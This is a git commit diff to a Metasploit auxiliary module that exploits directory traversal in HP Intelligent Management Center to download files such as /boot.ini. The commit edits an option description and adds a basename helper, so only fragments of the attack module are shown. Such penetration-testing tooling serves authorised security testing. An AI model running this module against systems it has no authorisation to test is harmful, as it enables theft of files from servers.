fix DEPTH description and basename

unstable
jvazquez-r7 2013-04-05 11:04:43 +02:00
parent 85d9e3e9ee
commit b6edad1f1d
1 changed files with 6 additions and 2 deletions

View File

@ -43,7 +43,7 @@ class Metasploit3 < Msf::Auxiliary
OptString.new('TARGETURI', [true, 'Path to HP Intelligent Management Center', '/imc']),
OptString.new('FILEPATH', [true, 'The name of the file to download', '/boot.ini']),
# By default files downloaded from C:\Program Files\iMC\client\web\apps\imc\tmp\
OptInt.new('DEPTH', [true, 'Traversal depth if absolute is set to false', 7])
OptInt.new('DEPTH', [true, 'Traversal depth', 7])
], self.class)
end
@ -60,6 +60,10 @@ class Metasploit3 < Msf::Auxiliary
end
end
def my_basename(filename)
return ::File.basename(filename.gsub(/\\/, "/"))
end
def run_host(ip)
if not is_imc?
@ -83,7 +87,7 @@ class Metasploit3 < Msf::Auxiliary
if res and res.code == 200 and res.headers['Content-Type'] and res.headers['Content-Type'] == "application/doc"
contents = res.body
fname = File.basename(datastore['FILEPATH'])
fname = my_basename(datastore['FILEPATH'])
path = store_loot(
'hp.imc.faultdownloadservlet',
'application/octet-stream',